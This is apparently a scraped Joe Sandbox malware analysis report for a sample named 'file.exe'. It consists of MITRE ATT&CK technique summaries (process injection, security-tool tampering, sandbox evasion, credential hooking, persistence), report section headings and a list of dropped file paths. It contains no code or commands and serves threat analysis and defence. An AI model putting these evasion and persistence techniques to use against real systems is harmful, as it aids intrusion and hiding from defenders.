Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Change of critical system settings

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Mig\Mig.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Windows-Update[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Windows-Update[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2fpoqur3.zdh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aths2ad.4bp.ps1

Windows Analysis Report
file.exe

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre